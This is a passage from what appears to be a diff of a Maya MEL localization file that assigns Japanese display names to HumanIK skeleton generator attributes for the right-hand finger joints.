"HIKSkeletonGeneratorNode", "RightHandThumb2Sz", "右手親指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3T", "右手親指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Tx", "右手親指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Ty", "右手親指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Tz", "右手親指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3R", "右手親指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Rx", "右手親指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Ry", "右手親指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Rz", "右手親指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3S", "右手親指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Sx", "右手親指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Sy", "右手親指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb3Sz", "右手親指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4T", "右手親指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Tx", "右手親指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Ty", "右手親指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Tz", "右手親指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4R", "右手親指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Rx", "右手親指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Ry", "右手親指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Rz", "右手親指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4S", "右手親指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Sx", "右手親指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Sy", "右手親指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandThumb4Sz", "右手親指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1T", "右手人差指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Tx", "右手人差指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Ty", "右手人差指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Tz", "右手人差指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1R", "右手人差指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Rx", "右手人差指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Ry", "右手人差指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Rz", "右手人差指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1S", "右手人差指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Sx", "右手人差指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Sy", "右手人差指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex1Sz", "右手人差指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2T", "右手人差指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Tx", "右手人差指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Ty", "右手人差指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Tz", "右手人差指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2R", "右手人差指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Rx", "右手人差指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Ry", "右手人差指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Rz", "右手人差指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2S", "右手人差指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Sx", "右手人差指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Sy", "右手人差指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex2Sz", "右手人差指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3T", "右手人差指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Tx", "右手人差指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Ty", "右手人差指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Tz", "右手人差指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3R", "右手人差指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Rx", "右手人差指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Ry", "右手人差指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Rz", "右手人差指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3S", "右手人差指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Sx", "右手人差指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Sy", "右手人差指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex3Sz", "右手人差指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4T", "右手人差指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Tx", "右手人差指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Ty", "右手人差指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Tz", "右手人差指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4R", "右手人差指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Rx", "右手人差指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Ry", "右手人差指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Rz", "右手人差指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4S", "右手人差指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Sx", "右手人差指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Sy", "右手人差指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandIndex4Sz", "右手人差指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1T", "右手中指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Tx", "右手中指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Ty", "右手中指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Tz", "右手中指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1R", "右手中指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Rx", "右手中指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Ry", "右手中指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Rz", "右手中指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1S", "右手中指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Sx", "右手中指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Sy", "右手中指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle1Sz", "右手中指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2T", "右手中指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Tx", "右手中指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Ty", "右手中指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Tz", "右手中指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2R", "右手中指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Rx", "右手中指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Ry", "右手中指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Rz", "右手中指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2S", "右手中指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Sx", "右手中指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Sy", "右手中指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle2Sz", "右手中指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3T", "右手中指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Tx", "右手中指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Ty", "右手中指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Tz", "右手中指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3R", "右手中指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Rx", "右手中指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Ry", "右手中指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Rz", "右手中指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3S", "右手中指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Sx", "右手中指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Sy", "右手中指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle3Sz", "右手中指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4T", "右手中指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Tx", "右手中指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Ty", "右手中指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Tz", "右手中指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4R", "右手中指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Rx", "右手中指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Ry", "右手中指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Rz", "右手中指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4S", "右手中指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Sx", "右手中指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Sy", "右手中指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandMiddle4Sz", "右手中指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1T", "右手薬指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Tx", "右手薬指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Ty", "右手薬指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Tz", "右手薬指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1R", "右手薬指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Rx", "右手薬指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Ry", "右手薬指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Rz", "右手薬指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1S", "右手薬指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Sx", "右手薬指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Sy", "右手薬指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing1Sz", "右手薬指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2T", "右手薬指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Tx", "右手薬指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Ty", "右手薬指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Tz", "右手薬指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2R", "右手薬指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Rx", "右手薬指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Ry", "右手薬指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Rz", "右手薬指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2S", "右手薬指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Sx", "右手薬指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Sy", "右手薬指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing2Sz", "右手薬指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3T", "右手薬指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Tx", "右手薬指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Ty", "右手薬指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Tz", "右手薬指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3R", "右手薬指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Rx", "右手薬指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Ry", "右手薬指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Rz", "右手薬指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3S", "右手薬指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Sx", "右手薬指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Sy", "右手薬指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing3Sz", "右手薬指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4T", "右手薬指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Tx", "右手薬指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Ty", "右手薬指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Tz", "右手薬指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4R", "右手薬指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Rx", "右手薬指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Ry", "右手薬指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Rz", "右手薬指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4S", "右手薬指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Sx", "右手薬指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Sy", "右手薬指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandRing4Sz", "右手薬指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1T", "右手小指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Tx", "右手小指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Ty", "右手小指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Tz", "右手小指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1R", "右手小指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Rx", "右手小指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Ry", "右手小指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Rz", "右手小指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1S", "右手小指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Sx", "右手小指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Sy", "右手小指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky1Sz", "右手小指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2T", "右手小指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Tx", "右手小指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Ty", "右手小指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Tz", "右手小指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2R", "右手小指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Rx", "右手小指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Ry", "右手小指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Rz", "右手小指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2S", "右手小指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Sx", "右手小指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Sy", "右手小指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky2Sz", "右手小指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3T", "右手小指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Tx", "右手小指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Ty", "右手小指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Tz", "右手小指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3R", "右手小指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Rx", "右手小指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Ry", "右手小指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Rz", "右手小指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3S", "右手小指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Sx", "右手小指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Sy", "右手小指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky3Sz", "右手小指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4T", "右手小指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Tx", "右手小指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Ty", "右手小指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Tz", "右手小指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4R", "右手小指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Rx", "右手小指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Ry", "右手小指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Rz", "右手小指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4S", "右手小指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Sx", "右手小指 4 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Sy", "右手小指 4 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandPinky4Sz", "右手小指 4 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1T", "右手追加指 1 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Tx", "右手追加指 1 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Ty", "右手追加指 1 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Tz", "右手追加指 1 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1R", "右手追加指 1 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Rx", "右手追加指 1 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Ry", "右手追加指 1 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Rz", "右手追加指 1 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1S", "右手追加指 1 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Sx", "右手追加指 1 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Sy", "右手追加指 1 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger1Sz", "右手追加指 1 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2T", "右手追加指 2 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Tx", "右手追加指 2 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Ty", "右手追加指 2 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Tz", "右手追加指 2 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2R", "右手追加指 2 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Rx", "右手追加指 2 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Ry", "右手追加指 2 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Rz", "右手追加指 2 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2S", "右手追加指 2 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Sx", "右手追加指 2 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Sy", "右手追加指 2 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger2Sz", "右手追加指 2 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3T", "右手追加指 3 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Tx", "右手追加指 3 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Ty", "右手追加指 3 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Tz", "右手追加指 3 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3R", "右手追加指 3 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Rx", "右手追加指 3 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Ry", "右手追加指 3 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Rz", "右手追加指 3 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3S", "右手追加指 3 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Sx", "右手追加指 3 Sx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Sy", "右手追加指 3 Sy" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger3Sz", "右手追加指 3 Sz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4T", "右手追加指 4 T" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Tx", "右手追加指 4 Tx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Ty", "右手追加指 4 Ty" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Tz", "右手追加指 4 Tz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4R", "右手追加指 4 R" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Rx", "右手追加指 4 Rx" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Ry", "右手追加指 4 Ry" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Rz", "右手追加指 4 Rz" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4S", "右手追加指 4 S" ); +setAttrNiceNameResource( "HIKSkeletonGeneratorNode", "RightHandExtraFinger4Sx", "右手追加指 4 Sx" ); 